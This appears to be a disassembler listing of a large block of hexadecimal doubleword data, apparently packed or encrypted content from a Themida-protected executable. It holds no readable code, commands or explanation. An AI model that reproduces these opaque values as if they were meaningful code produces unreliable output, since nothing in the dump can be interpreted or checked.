		dd 41E2BB4Dh, 183FBEB5h, 386C3B38h, 0A00352DEh,	44F7B451h
		dd 4DB3F0EFh, 44321562h, 0A536F8E5h, 986E314Ah,	0E852316Ah
		dd 24F5A269h, 9D3D7407h, 9865749Fh, 8CF59481h, 0C5321566h
		dd 22321189h, 350E9266h, 0AC269C3Ah, 4420FC06h,	0A9761566h
		dd 40C061B5h, 7A73B4FDh, 303CEC3Ah, 9AFDB3A9h, 0D803749Eh
		dd 8CB01A06h, 22321566h, 43B1D0D9h, 13C380EDh, 73D1344h
		dd 4432156Eh, 22309869h, 70521566h, 0C3D175Dh, 44321512h
		dd 22321D8Fh, 3F37B766h, 293B51FDh, 0FD63E981h,	22321562h
		dd 1FD7E7h, 42331120h, 551FFFE7h, 426B1120h, 1EEDAA69h
		dd 0DE53CED1h, 0D17369D8h, 0A1C4940Eh, 38A57FD8h, 80DB4B97h
		dd 6E321566h, 0E28BB445h, 2A37D599h, 0AA1488EBh, 0E1B71A60h
		dd 0DECDEA99h, 1132150Eh, 0AC369E66h, 4436D1E7h, 0AFC71566h
		dd 3362A4EBh, 7AB27560h, 8D851A19h, 0DAD3EA07h,	3D4798EFh
		dd 85DB1344h, 84321566h, 504B6EC2h, 45A3CF93h, 0E2C4C4E3h
		dd 4437FC06h, 32B01566h, 0E4AEEC0Ch, 0AC06EA07h, 40F6943Ch
		dd 0CB321566h, 1132156Ch, 409E111Fh, 297BA45Bh,	16CDA13Dh
		dd 0D5B14C42h, 36547562h, 0FC548B0Fh, 73534927h, 0D0B3F4EFh
		dd 88321562h, 4436FCE7h, 2EB51566h, 25BB4942h, 883AFC42h
		dd 0F3551566h, 4639835Bh, 8CB941EBh, 8E103497h,	44321C8Fh
		dd 0F84EF566h, 2195294h, 3260EC48h, 44321566h, 28B9CF67h
		dd 921601EDh, 63D11A2h,	4432156Ch, 2232108Fh, 73949D66h
		dd 0DB982D4h, 42103913h, 0CBD2C49Ah, 11321577h,	56413DA6h
		dd 0E14DB79Bh, 0B0D024C1h, 5CAD7322h, 0FDB716B3h, 2434377Bh
		dd 0EFE39400h, 0E70374F0h, 4FD59406h, 4B536F97h, 223210E0h
		dd 0DEB37366h, 0E05310FFh, 44321373h, 741611EFh, 1EDB4B3Eh
		dd 0A1321566h, 0D7DA338Ah, 0CDAF566Dh, 8360DC9Bh, 615232F2h
		dd 4432156Ch, 13937E98h, 258122B2h, 33D7C1Dh, 44321569h
		dd 22321C8Eh, 0BBCB9566h, 35717E96h, 256CE9BAh,	0A73DB800h
		dd 11321561h, 76ACAE06h, 855374F9h, 2D521786h, 0AE3DEBD1h
		dd 0D3174AFh, 42100377h, 2220FC06h, 25C21566h, 6648E880h
		dd 0E957792Eh, 5381F7FEh, 0E8483378h, 88349969h, 0C73D1566h
		dd 22321566h, 1CB11A07h, 61321566h, 4432156Eh, 36523076h
		dd 50FC2385h, 8CB94336h, 40F69442h, 7C321566h, 11339369h
		dd 74C71566h, 50B61ACBh, 0CB321566h, 11321569h,	0A1A75B05h
		dd 5E2B5C83h, 60DF1A41h, 3CAF4ED2h, 0E8DC0032h,	0C97AB563h
		dd 0FFA143Ch, 4BBF5DC6h, 66274163h, 95B97506h, 43F0AA69h
		dd 4F162199h, 0E836D1E5h, 0D1DD9493h, 430D32B1h, 0B3DDAC06h
		dd 3547F7Eh, 0F9B17496h, 241031EBh, 84B61A67h, 0E8321566h
		dd 321739D8h, 0E3E1947Ch, 70165002h, 0BB9B985Dh, 0C03D1344h
		dd 2232151Ah, 11339F69h, 0B3C71566h, 663DDCEBh,	4BB61A60h
		dd 0ED321566h, 92FB985Dh, 0C03D1344h, 2232153Ah, 113A9C69h
		dd 33D1566h, 44321564h,	0BFBF7406h, 17181713h, 0E9CEED06h
		dd 44209D69h, 2FDB1566h, 0FD321566h, 0A1503271h, 1694EDD2h
		dd 7F50C6DFh, 41CAC699h, 0B1629EDh, 0CD3D11A2h,	22321567h
		dd 0B4B79C9Ah, 6134374Fh, 4432156Ch, 0C5FF7334h, 6F92428h
		dd 9FDBCD5Ah, 0BD321546h, 204788EBh, 903D134Ch,	88321569h
		dd 4435FD06h, 0E2781566h, 1F6A3FC0h, 77534EC3h,	155275B5h
		dd 0E7887338h, 925374B1h, 0AA1698DBh, 0C03D1560h, 22321529h
		dd 1132048Fh, 5ED76166h, 6D1F33CDh, 6C5A81CBh, 0E5CD016Ah
		dd 0D09DCFFh, 42100ED3h, 222C9169h, 1ECB1566h, 88321FE4h
		dd 0FB3D7566h, 0ADDAABA6h, 2A535013h, 0AA2E0CE3h, 54B71A60h
		dd 0D7321566h, 0EECD2C8Fh, 8837FC99h, 368E1566h, 19931DBCh
		dd 33391CE3h, 0E5B71A60h, 0BC321566h, 2DB41A06h, 0F8321566h
		dd 8832156Ch, 6FDC575h,	9D583328h, 92536D34h, 0AA32E0DBh
		dd 0C03D1560h, 2232154Fh, 11339369h, 0BC71566h,	660154DBh
		dd 0A63D1560h, 11321552h, 616D4406h, 4432156Ah,	6D5999EFh
		dd 268C0B1Fh, 0A5389C0Bh, 0CEB79807h, 0DA343C0Eh, 0EECCDC8Fh
		dd 883CFC99h, 88441566h, 0EA18E3F7h, 17E423BDh,	0D2A69230h
		dd 4F3B905Dh, 0A63D1344h, 0EECDEBCCh, 5B8F969Ah, 45343CC2h
		dd 22B89069h, 1EDB1566h, 0F3321566h, 853CC981h,	699C994h
		dd 3FDB5B3h, 0D097166h,	421BB061h, 22589069h, 0F8521566h
		dd 88321575h, 7798AFA6h, 5142910Dh, 28A4BEC0h, 61A55248h
		dd 0AC7418BFh, 22321574h, 98316B0Dh, 6020B256h,	8DC521B9h
		dd 0AE031C52h, 4BCA6ED5h, 6CB79807h, 0AD324C6Dh, 2232156Bh
		dd 7C810B52h, 9E7ABD8Bh, 0BDD03B7Ch, 0DC63FC02h, 973DEA99h
		dd 88321572h, 44BD1A06h, 0CB321566h, 11321561h,	25D2FE37h
		dd 25FCEE43h, 4452EA57h, 0E696CCE7h, 0E9E39E00h, 61ABA8E5h
		dd 2D321344h, 112290E2h, 883AFC66h, 0D8A71566h,	0E4E320ABh
		dd 94091343h, 8E1BB195h, 447C9069h, 0AB3D1566h,	11321562h
		dd 0E9537506h, 6CB790EDh, 0AC3D1344h, 11321577h, 883AFC06h
		dd 117C1566h, 817DA067h, 70523F0Ch, 898B4407h, 45321566h
		dd 30DB4CA9h, 33321566h, 0F0879546h, 0CE820169h, 0BAB4072Bh
		dd 0CCECC6F3h, 89B71A53h, 0B1321566h, 86C9905Dh, 943D134Fh
		dd 8832154Bh, 4432198Fh, 7B3E9C66h, 919493BEh, 0C789CE9Dh
		dd 0DB79E2Fh, 0CB343777h, 1132156Ch, 1587AAE5h,	3E3E8187h
		dd 7265F621h, 86724D39h, 7FB72E9Eh, 4B343CC2h, 223241E3h
		dd 1DB7566h, 0BA321566h, 4D12B4FEh, 642EAC73h, 8990A8Dh
		dd 875C4642h, 443210E9h, 0DE39AD66h, 0E45338E2h, 0BBBB90EDh
		dd 55DB1344h, 3E321566h, 0E762188Dh, 0BB6D9FDh,	4CF3115Ah
		dd 89D736A8h, 0EECDAE35h
		dd 571BEA99h, 588753Dh,	9B43D339h, 22AFF3D7h, 77B72E07h
		dd 4B343CC2h, 223228E3h, 113AFC66h, 6CE31566h, 7468A6BBh
		dd 0A7B97388h, 17101D17h, 88339169h, 15CB1566h,	0DDCDEADFh
		dd 48FD3C99h, 88269569h, 0AC521566h, 2232156Ah,	46AA2FAh
		dd 650FD924h, 0C12CFBDEh, 0A7097438h, 171BB065h, 88199069h
		dd 0CFCE1566h, 3B00E3h,	1134FC60h, 0CE681566h, 0F1AE08EFh
		dd 2233AB30h, 0E6331566h, 37547538h, 0CF54B669h, 0A53D749Ch
		dd 11321567h, 8FB72E9Ah, 4B343CC3h, 223256E3h, 1BA1A66h
		dd 61321566h, 4432156Dh, 8DADAD82h, 70EB40F0h, 344AA48h
		dd 662F20E3h, 9961E960h, 0EECDEA99h, 7D69CA4Fh,	44249A69h
		dd 33DB1566h, 0C8321566h, 72AD086Ch, 53A444A1h,	0A0FA4E47h
		dd 0D748B04Eh, 2D39905Dh, 0C13D134Fh, 22321558h, 94B9ED93h
		dd 8E100323h, 0C5C39E06h, 1715B6B8h, 0A9627431h, 0A65A51A2h
		dd 3307C591h, 0E371B825h, 42371786h, 8D58F91Eh,	126636FBh
		dd 0E4F3453h, 49F5146Ch, 498D1A06h, 83E756DCh, 0A7097424h
		dd 171BB069h, 88569069h, 54DB1566h, 8F321566h, 0A87CEA28h
		dd 54DEF81h, 5E8369ABh,	42B079A9h, 1132188Eh, 8FDFE766h
		dd 0E06CF321h, 0A69D46Fh, 9F3D5122h, 88321566h,	443DFC3Eh
		dd 0F4EC1566h, 33052878h, 0C5042514h, 0CF33C660h, 0A7B97438h
		dd 171024CBh, 24DEAF06h, 8CB96623h, 0EB14207h, 1E6DEA42h
		dd 883210E7h, 16C77566h, 0A7097438h, 171BB075h,	88619069h
		dd 0C5521566h, 31405891h, 2F37AC05h, 3531AA2h, 662960E3h
		dd 2221FC60h, 12431566h, 7E3ACC8Ch, 0F2BFCB25h,	23BA5471h
		dd 0F2E47814h, 778A459Eh, 6DCDEA99h, 0AA3D4DA1h, 1132157Fh
		dd 8832018Fh, 0B1C4C766h, 76B2ECE0h, 0EA2B8D5Ch, 0BDE3D724h
		dd 0F28EA1ABh, 35B72EE6h, 1E343CC3h, 88322CE3h,	0C1B9E066h
		dd 24101A83h, 0AA617406h, 77CDEA99h, 4B69CA4Fh,	223218E2h
		dd 113AFC66h, 603F1566h, 566F81A6h, 2DDB2090h, 37321566h
		dd 21999AD8h, 2127D81Ah, 0A924D9Ah, 940976B5h, 8E1BB079h
		dd 44669069h, 44521566h, 21D5E3E7h, 88BA1A34h, 1C321566h
		dd 0D3B79E07h, 0F8343776h, 88321575h, 0A557ADDCh, 22224D2Ah
		dd 0DACC1094h, 0F4D4C05Ch, 0C526C186h, 2232118Ah, 350E9C66h
		dd 0D7161199h, 44269669h, 0A03D1566h, 11321568h, 88321C8Fh
		dd 43C74466h, 0C464C279h, 9409CC19h, 8E1BB07Dh,	44789069h
		dd 0A1CA1566h, 331694DBh, 0D3D1560h, 4432155Ah,	0FA897306h
		dd 9A53ED22h, 0AA2F44E3h, 4426FC60h, 0ED881566h, 0E07CB26Ah
		dd 0C7FEA17Bh, 94B6DEB6h, 0B8B3DB0h, 0AA612117h, 88321567h
		dd 0AD69CA67h, 2232156Eh, 723BB357h, 23ACAB41h,	5EEBA8E5h
		dd 2D321344h, 113252E2h, 8FBE1A66h, 4B321566h, 223214E8h
		dd 9409EC66h, 8E1BB0C1h, 441C9069h, 9C521566h, 5690C5C1h
		dd 11B79E07h, 0B1343755h, 1374E2E1h, 20CC2491h,	99B11A91h
		dd 24321566h, 0CBC59E00h, 11321561h, 141EEC3Ch,	25FC5BDCh
		dd 88BA8E5h, 1E321344h,	883083E2h, 4CB11A66h, 2D321566h
		dd 113217E5h, 0B537566h, 662F18DBh, 0A63D1560h
dword_578968	dd 1132171Dh, 88359769h, 0CA3D1566h, 22321567h,	9AB72E9Fh
					; DATA XREF: Themida_:0051E1EFo
		dd 87343CC3h, 44324AE3h, 2223FC66h, 0A29C1566h,	69F7F09Bh
		dd 0EBBCF14Ah, 9EDF069h, 9AECFDEDh, 0AA1800E3h,	4421FC60h
		dd 0BDE51566h, 0D9A12252h, 43463F4Ch, 7031EEEEh, 0F101876Dh
		dd 128F403Ah, 9128436h,	3C44F9A3h, 0CCC7947Ah, 100F1CA0h
		dd 82DB4889h, 0B6321566h, 0A9F1071Eh, 81416F06h, 89B91AE2h
		dd 0B1321566h, 87A9905Dh, 943D134Fh, 8832153Eh,	0C7F9AA06h
		dd 0A953370Ah, 3333A4E3h, 23DEC60h, 44321577h, 22399A69h
		dd 17DB1566h, 0AD321566h, 344589B1h, 5088474Ah,	90667578h
		dd 17D39AA4h, 1EE514CDh, 953DE906h, 435274BDh, 8832058Fh
		dd 0B8F82D66h, 0CF1B78B1h, 2C8F7F8Ah, 194586B2h, 0BE8A4C69h
		dd 4304D7F5h, 0B4BD905Dh, 0D3D134Fh, 4432151Ah,	22279969h
		dd 0AA521566h, 0F1431ED9h, 44321D8Eh, 67CD3E66h, 29EAA7h
		dd 3534E1Fh, 66374CE3h,	128A7560h, 77302449h, 0D853C6EDh
		dd 0BBCDEADEh, 7AF53C99h, 0A8547506h, 81DB103Ch, 2D321566h
		dd 4C7FBB78h, 0C23C8BCDh, 9FB61A07h, 0AD321566h, 22321574h
		dd 0B61D584Fh, 0C5651F5Dh, 9DBA1CFBh, 0F5C939F8h, 71539D84h
		dd 8832128Fh, 95E59566h, 8493F316h, 0FBB37330h,	0E96B893Ch
		dd 0E1AD905Dh, 0A73D134Fh, 11321522h, 0F9B79E9Fh, 24343776h
		dd 22321A8Fh, 3EEF3D66h, 0BE961811h, 6046B8EFh,	0BA6F7F6Ah
		dd 0EE884707h, 0A1CDEA99h, 4BCB4FB1h, 223202E8h, 1120FC66h
		dd 0B3231566h, 505631AAh, 2DB6CD11h, 310C4B06h,	0D4608EAAh
		dd 0E191905Dh, 0A73D134Fh, 11321549h, 89BD1A9Eh, 0BC321566h
		dd 262390EDh, 9B521344h, 883CFCA7h, 0B7CD1566h,	422130B3h
		dd 0A867E314h, 0A0298DBAh, 458C4307h, 23321566h, 2AC74B91h
		dd 0A19786E3h, 7BB71A60h, 42321566h, 11349869h,	93D1566h
		dd 44321566h, 51E3C6E7h, 9A5304D4h, 0AA3D24E3h,	0BB65E060h
		dd 1EB93162h, 15F69442h, 87321566h, 443205EBh, 43527566h
		dd 1132138Eh, 1B0E9566h, 1C607919h, 0A709EC07h,	171BB0F1h
		dd 88079069h, 0CFCB1566h, 3AD8E3h, 113BFC60h, 658C1566h
		dd 0E84239Dh, 74DE711Ah, 0B12B48D8h, 0E4FC940Ch, 0A631645h
		dd 1B37E3E7h, 0F7F37E3Dh, 19DC9462h, 6D3D9541h,	0A1CE4B91h
		dd 332F18DBh, 0C3D1560h, 44321CF8h, 22B71A06h, 70321566h
		dd 2D11905Dh, 0C13D134Fh, 22321531h, 113C9669h,	81DB1566h
		dd 0A2321566h, 0FE93693Bh, 0DEB8AF46h, 9FDB90EDh, 0C5521344h
		dd 3DBD6788h, 10BA1A56h, 70321566h, 0F967E907h,	501B6CA2h
		dd 9709D0E7h, 671B98B0h, 0C43DE03Bh, 22321571h,	45887306h
		dd 883EFC86h, 24C91566h, 0CBE288ECh, 0AD06837Ah, 0B3536450h
		dd 6D97A2E3h, 6FB71A60h, 0F8321566h, 88321561h,	1BC4394Dh
		dd 0A9085C42h, 3326D4E3h, 8834FC60h, 3CE51566h,	0B7FCD767h
		dd 1133A833h, 67331566h, 4DDA753Bh, 4321566h, 2C6419D6h
		dd 0A4C06459h, 4B52743Dh, 223217EFh, 1E6A4366h,	883213E0h
		dd 44BF1A66h, 43321566h, 0B415905Dh, 0D3D134Fh,	4432154Eh
		dd 2234FC93h, 476E1566h, 8351986Bh, 74BB90EDh, 70521344h
		dd 0A9627439h, 88321567h, 246AD267h, 518CB7D5h,	703789AAh
		dd 2D19905Dh, 0C13D134Fh, 2232152Bh, 8CB79E9Fh,	8734374Ah
		dd 443218EFh, 0A3547566h, 1E1342BEh, 883215EAh,	0FD637466h
		dd 22321567h, 1E6BDA67h, 883219E2h, 4435FC66h, 0A33F1566h
		dd 4553AA29h, 8821FC73h, 85591566h, 7C009CC3h, 7FC1F73Eh
		dd 885C1D7h, 0B186F1C4h, 0DB72E0Ah, 1E343CC3h, 883257E3h
		dd 4423FC66h, 7A141566h, 0B0E0057Ch, 0FAED633Ch, 501A9E8Dh
		dd 0A9A9B08Dh, 333C3CE3h, 8839FC60h, 4A871566h,	1B75659Eh
		dd 71732A2Bh, 778B44F6h, 6DCDEA99h, 2ADB4CA9h, 0C8321566h
		dd 1FB7FF71h, 7F824531h, 0B9726E3h, 69B71A60h, 61321566h
		dd 44321572h, 76C619C8h, 44F0CB58h, 0EB91C34Bh,	7566F8A7h
		dd 3A542277h, 35B3A8E5h, 87321344h, 443247E3h, 0A7B9ED66h
		dd 17101F1Bh, 83BB1A06h, 0AD321566h, 22321560h,	8BB6D0A0h
		dd 61529135h, 44321569h, 31960DD7h, 97383D97h, 0A2662526h
		dd 4B7C9798h, 223215ECh, 0ED537466h, 8833AB30h,	0B3331566h
		dd 2BDB7538h, 0FD321566h, 0ED7F3AF5h, 2D712202h, 1953EBECh
		dd 389722E3h, 0C6B71A60h, 4B321566h, 223204E4h,	113EFC66h
		dd 3D341566h, 0D752EFC8h, 0E3833025h, 94B98BD5h, 8E100D2Fh
		dd 0E18C4393h, 0A3684D61h, 3A3D14A0h, 80DCD43Fh, 0C534FBA7h
		dd 20FC1890h, 4FC51466h, 883C9A69h, 4DDB1566h, 80321566h
		dd 0C7884166h, 43B1F474h, 7FB72E9Eh, 2D343CC3h,	113250E3h
		dd 80B21A66h, 4B321566h, 223217E8h, 92537566h, 0AA1694DBh
		dd 0C13D1560h, 2232154Ch, 94B9EC93h, 8E1000C3h,	443E9569h
		dd 0AD3D1566h, 11321560h, 88329069h, 0FC621566h, 22321567h
		dd 1E6AD267h, 883214EDh, 0C109E966h, 241BB059h,	11629069h
		dd 82DB1566h, 69321566h, 47E7A660h, 7591E4DAh, 89BF1A03h
		dd 0B8321566h, 102F90EDh, 71521344h, 3FFC9E00h,	15537473h
		dd 0DDCDEADFh, 48FD3C99h, 882E9B69h, 0AC521566h, 22321574h
		dd 1EDC1E56h, 93D6724Ch, 0CEA035E2h, 0ACFCD831h, 716B4897h
		dd 0D097407h, 421BB025h, 22029069h, 0A9521566h,	9C9DD038h
		dd 0FD7DC4E7h, 0A9537A22h, 333D14E3h, 0E952EC60h, 0BBCDAE35h
		dd 0FD1BEA99h, 113EFC3Dh, 0BBF41566h, 0B8245721h, 2CDCBD05h
		dd 94096585h, 8E1BB02Dh, 44409069h, 31DB1566h, 72321566h
		dd 0FF99D804h, 493E085Fh, 0C0F5D0BDh, 0E2CF1CBEh, 35B15A35h
		dd 421031E7h, 6FB71A66h, 1E321566h, 883207EEh, 443FFC66h
		dd 0A711566h, 0E04E989Ah, 0A72DDA05h, 0AD7B7C3Fh, 22321577h
		dd 1B526E6Bh, 0BF570B28h, 0BF74B93Ch, 0D240F737h, 90B79EE5h
		dd 0E834374Bh, 4432128Fh, 1A66B66h, 38530F8Dh, 3163749Ah
		dd 44321567h, 0DB6BDA67h, 0B475905Dh, 0D3D134Fh, 44321535h
		dd 0A38F969Eh, 11343742h, 88779069h, 42DB1566h,	5A321566h
		dd 0BA3E869Dh, 29B79E12h, 4B343762h, 22321FE6h,	28807566h
		dd 8AC7C2E7h, 24535E35h, 32F89400h, 0F5887394h,	32607422h
		dd 0BBCDEA99h, 0CB68C24Fh, 1132156Dh, 0F577A610h, 0EA6DB5E3h
		dd 1938CE9Ah, 38975AE3h, 0DEB71A60h, 4B321566h,	223200EEh
		dd 1122FC66h, 0A91C1566h, 202516EAh, 3512BA7Fh,	0C7F28F5Dh
		dd 0DB910FEh, 421005ABh, 22359E69h, 0A9521566h,	0AD7180C4h
		dd 38A4507h, 277ADB71h,	3E4B5DFDh, 711F8B4Bh, 69E2E23Fh
		dd 0C383D8DAh, 0F86AD24Fh, 8832156Fh, 0DBDC8E6Eh, 85F9B423h
		dd 42B72E21h, 87343CC3h, 443225E3h, 0A7B9E966h,	171027F3h
		dd 883F9F69h, 4B521566h, 223215E5h, 0D1B37366h,	0DE53EE70h
		dd 443214D8h, 7CC51466h, 11359369h, 71521566h, 8240AE00h
		dd 75B72E07h, 1E343CC3h, 883220E3h, 45BF1A66h, 0DA321566h
		dd 36F90EDh, 9BDB1344h,	0EA321566h, 59F64E7Bh, 2B2EF83Fh
		dd 283B70F6h, 0DEAF3195h, 9A6279F4h, 0EECDEA99h, 876AD24Fh
		dd 443214EAh, 0A709E066h, 171BB03Dh, 88099069h,	0CFCE1566h
		dd 33A8E3h, 0BA1A60h, 87321566h, 44321EE4h, 2234FC66h
		dd 0C0411566h, 7FB91D12h, 44321B8Fh, 97D5866h, 95625EBDh
		dd 0EB3E5EA1h, 15D3281Eh, 0DDCDEADFh, 48FD3C99h, 0D7B72E9Fh
		dd 4B343CC3h, 223231E3h
		dd 10B11A66h, 7D321566h, 76BB90EDh, 70CA1344h, 0EECDEADCh
		dd 0D2E53C99h, 44321D8Fh, 0BCD54866h, 43273DF4h, 0EBB72EA0h
		dd 4B343CC3h, 22327FE3h, 91607566h, 876AEA97h, 443201E8h
		dd 223CFD66h, 0BBA11566h, 69AB49F4h, 43DFE7DEh,	866CF321h
		dd 94B97439h, 8E10245Fh, 44339269h, 0DECE1566h,	427CAF34h
		dd 6AB35F9Ch, 649B6E6Eh, 0DA5DFE7h, 0FBB339B5h,	0D6696375h
		dd 0C534F7A7h, 0DFAEEA94h, 4BE53C31h, 88239669h, 48DB1566h
		dd 0FF321566h, 4D2819D2h, 0B79DEB67h, 7F8E8095h, 0B9772E3h
		dd 38B71A60h, 0E8321566h, 44321F8Fh, 0D5C5B766h, 56AB4FD4h
		dd 87BC21BEh, 0CF53ECD1h, 2CC0E3h, 0A63D7560h, 32607498h
		dd 0BBCDEA99h, 0D768C24Fh, 0B459905Dh, 0D3D134Fh, 44321547h
		dd 22339C69h, 9ACB1566h, 0AA3430E3h, 4B527560h,	223215E5h
		dd 43537466h, 77CDEADCh, 1EE53C99h, 8FB72E9Eh, 1E343766h
		dd 883222E3h, 4439FC66h, 0EF791566h, 0A6DB189Ch, 8C806499h
		dd 0DDB79E09h, 0DE34377Ch, 113A9969h, 0F3D1566h, 44321564h
		dd 0DD657406h, 2DB93162h, 8CF69642h, 0E28D7306h, 43F09EE0h
		dd 0B45D905Dh, 0D3D134Fh, 4432155Dh, 22219B69h,	0F9521566h
		dd 8832156Fh, 0BF2B8D5Ch, 17E3D724h, 70524CABh,	0E1B79E07h
		dd 4B343743h, 22321DE3h, 13B51A66h, 0E8321566h,	0BB8A4507h
		dd 0BCDEA99h, 1E524DA1h, 0B353EED9h, 6D97BEE3h,	4BB71A60h
		dd 71321566h, 3DF39400h, 44BC1A07h, 43321566h, 0B481A8E5h
		dd 8732134Fh, 443234E3h, 9FB1E966h, 171031EBh, 0C9B61A66h
		dd 4B321566h, 223219EEh, 17B51A66h, 87321566h, 443215E4h
		dd 0A7B9ED66h, 17100143h, 88339469h, 12CE1566h,	0DDCDEAD8h
		dd 4FC53C99h, 8CB61A06h, 22321566h, 9C9826D8h, 0FBA5C0Ah
		dd 31547507h, 25CB83ABh, 879D905Dh, 943D134Fh, 883215E6h
		dd 44239D69h, 2EDB1566h, 31321566h, 55E32F59h, 0FAB36F78h
		dd 0A16B61D6h, 3897A6DBh, 0D3D1560h, 4432154Ah,	44BBA506h
		dd 9253C4EDh, 0AA1698DBh, 0C03D1560h, 2232152Eh, 1132068Fh
		dd 35537366h, 7E61E544h, 6A784FEBh, 655708CEh, 0F668CC9Ah
		dd 63E390EDh, 32DB1344h, 9C321566h, 2ACB5D57h, 69935AC5h
		dd 8351D68Ch, 46F03D1Fh, 3161199h, 80B3315Ah, 22321562h
		dd 11339A69h, 7DCA1566h, 0E141905Dh, 0A73D134Fh, 11321551h
		dd 88279469h, 54DB1566h, 3A321566h, 0C2FA8718h,	735168E5h
		dd 289B2EFAh, 0A9F2D5B2h, 333794E3h, 3163ED60h,	44321567h
		dd 426BDA67h, 0BFD1EFD8h, 6FB37335h, 7F5319C4h,	0B9762E3h
		dd 25B71A60h, 74321566h, 753390EDh, 0AD3D1344h,	1132156Ah
		dd 88349269h, 0C63D1566h, 22321566h, 0EECDAC37h, 471BEA99h
		dd 48B41A3Fh, 2D321566h, 113213EEh, 88B81A66h, 7F321566h
		dd 0B976EE3h, 5AB71A60h, 87321566h, 44321BE4h, 223BFC66h
		dd 6D991566h, 2337B491h, 0CF509F09h, 29D8E3h, 1CBE1A60h
		dd 61321566h, 4432156Eh, 0AD10D7ABh, 0D2554A89h, 0EFE1AE35h
		dd 87B33EDBh, 0F6708D48h, 7169CA67h, 7B43DFDFh,	46B61A56h
		dd 71321566h, 9409743Eh, 8E1BB019h, 44149069h, 0D7CA1566h
		dd 3ED390EDh, 61C71344h, 44321568h, 0CA673AADh,	0AF9Eh
		dd 0E8F871D4h, 0FE606DE5h, 22321567h, 0E968C267h, 2DB1905Dh
		dd 0C13D134Fh, 2232155Fh, 0DBB97306h, 0F1B79E07h, 0B1343760h
		dd 2F7DAC37h, 907346B0h, 91F2397h, 4CD3D45Fh, 0B833D4E7h
		dd 0DE33BDB9h, 883DFC3Fh, 2CE91566h, 68562759h,	0ED0F4034h
		dd 8B87B896h, 0C3B72EE8h, 2D343CC3h, 113250E3h,	883AFC66h
		dd 73831566h, 0F8523EE0h, 94B94C78h, 8E10028Fh,	44321E8Fh
		dd 0B7BCFF66h, 30713A8Fh, 965BE1E9h, 0BBCDAD36h, 0E51BEA99h
		dd 1126FC3Eh, 0E9841566h, 0DDDEBF4Bh, 0F79AE537h, 2690D06Ah
		dd 770BECA7h, 0BB396425h, 222B9169h, 973D1566h,	8832156Bh
		dd 8FB37306h, 0A13D1A92h, 11321566h, 654BFC07h,	7FCEEA99h
		dd 21D0E3h, 54B71A60h, 0E8321566h, 48ACD7D9h, 0AFCA7416h
		dd 3860FCE3h, 3547560h,	4426FCB8h, 870B1566h, 53D054D7h
		dd 31A10305h, 0BFB83B54h, 27BB4BE3h, 0F8539AE5h, 77CDF85Dh
		dd 44321A8Fh, 237C6266h, 0E677F89Eh, 0A1A6B916h, 1FDF0B20h
		dd 226F905Dh, 943D1344h, 8832153Bh, 442F9569h, 0CB521566h
		dd 11321572h, 0D6690ABDh, 8B2039E1h, 0D6410B12h, 36420D0Bh
		dd 0CE4D7843h, 0C753C2EDh, 0B96C6DBh, 943D1460h, 8832154Bh
		dd 4432198Fh, 69FF9766h, 1BFA66F4h, 0C3443B40h,	23B7988Bh
		dd 42324C6Dh, 11BD1A34h, 0D7321566h, 0A8F7FC07h, 0A53DEA99h
		dd 11321567h, 6BB72E93h, 4B343CC2h, 22323AE2h, 1120FC66h
		dd 77A51566h, 0AD08077h, 3AB3D9E0h, 0E2C0F2h, 25880026h
		dd 0E0D5905Dh, 0A73D134Fh, 11321579h, 89BE1A06h, 0BD321566h
		dd 43F09E00h, 0EEDE6B8Fh, 89BB1A99h, 0B8321566h, 0B915AA06h
		dd 405347C7h, 5D3614DFh, 0C5735C03h, 8C9EAA7h, 486C44FCh
		dd 89CC969Eh, 45219069h, 19CE1566h, 3896C2E3h, 0B2B71A60h
		dd 24321566h, 42E29E00h, 0F853749Ah, 88321561h,	4BC14CAFh
		dd 0AF8C9C3Fh, 49B5D1E3h, 89B51A66h, 0B1321566h, 0DDDE378Fh
		dd 0D3B37599h, 9D64F3B0h, 44349E69h, 0AF3D1566h, 11321566h
		dd 53B72E07h, 4B343CC2h, 223273E3h, 94BFE966h, 886A9D5Ch
		dd 443CFC06h, 0DC791566h, 0DF5BD1D7h, 72521ED4h, 0C8688244h
		dd 2232068Eh, 30EB8066h, 882FF0A3h, 0E30B84DFh,	0F6C54B3h
		dd 0A507FBB7h, 88321B8Eh, 0D3753B66h, 643FCC8Fh, 0CA9B65DCh
		dd 0D3C42247h, 22527438h, 2D8267DDh, 11321EE0h,	8834FC66h
		dd 0D1551566h, 2BD45D7Eh, 0FAAFFC07h, 0B3CAEA99h, 6D96CAE3h
		dd 6CB71A60h, 0E8321566h, 88389569h, 41DB1566h,	0E9321566h
		dd 0AA7C84B2h, 4D90EBh,	0BD52153Eh, 42FA9E06h, 0F8537407h
		dd 77CDFE0Dh, 44321B8Fh, 21B0366h, 0C5BFF1E7h, 39C46385h
		dd 0AD109D2Ah, 22321577h, 0DCF5731Ah, 0A9EB8058h, 442FF0A3h
		dd 850B84DFh, 15B945B3h, 8CF69442h, 24321566h, 8E09400h
		dd 0D7B3738Bh, 0DF53222Ch, 0C213000Eh, 0D5B34A0Ch, 7BB43471h
		dd 716DEBEFh, 0C13DE36Dh, 2232154Fh, 11321A8Fh,	0BA44A266h
		dd 9C9E6173h, 52CEA8C5h, 0DE99B01Dh, 77D8C08Fh,	4439FC99h
		dd 0A0ED1566h, 9113CF43h, 0F21E3A8Ah, 70B94501h, 26F69442h
		dd 0E4321566h, 88321F8Fh, 865C0766h, 7EC14DA3h,	986E5A4Eh
		dd 0AA35C8D3h, 51B01A60h, 0CB321566h, 11321576h, 0D6C0CEA2h
		dd 293EE8FEh, 0F317B6A6h, 7C5C82F0h, 932FA0EFh,	41DB1344h
		dd 45321566h, 7BF24BCCh, 87DB2BE6h, 4432DEE3h, 54CDEC66h
		dd 350E9E67h, 8836D1E7h, 0C4521566h, 7E894397h,	70647604h
		dd 0D82ED2E7h, 0ABB36397h, 16396E54h, 0D6B3E267h, 0BC396E54h
		dd 142EFAE7h, 31DB6397h, 6321566h, 0FA6B031Fh, 0F2E3D0F3h
		dd 7A720B25h, 3C2F7542h, 64B36A28h, 44321562h, 791621EFh
		dd 1132048Fh, 4D314F66h, 43EEBB19h, 0BFD4417Ah,	0D9FF432h
		dd 3567B39Ch, 6C2B74D2h, 47ACF8E7h, 0C4C5312Fh,	0D935F0A7h
		dd 5D47D8DFh, 7BFF347Eh, 25B2E0E7h, 63330D67h, 0AFB2753Bh
		dd 9F0974F7h, 171012BBh, 881A9769h, 50DB1566h, 12321566h
		dd 905964Bh, 8B27EE1Ch,	8B0BBC48h, 0F8B7FA73h, 2AC40BE7h
		dd 85B41A9Dh, 4B321566h, 223214ECh, 0B6DBE066h,	71CDEA8Fh
		dd 5F3BA8EDh, 0A63D1344h
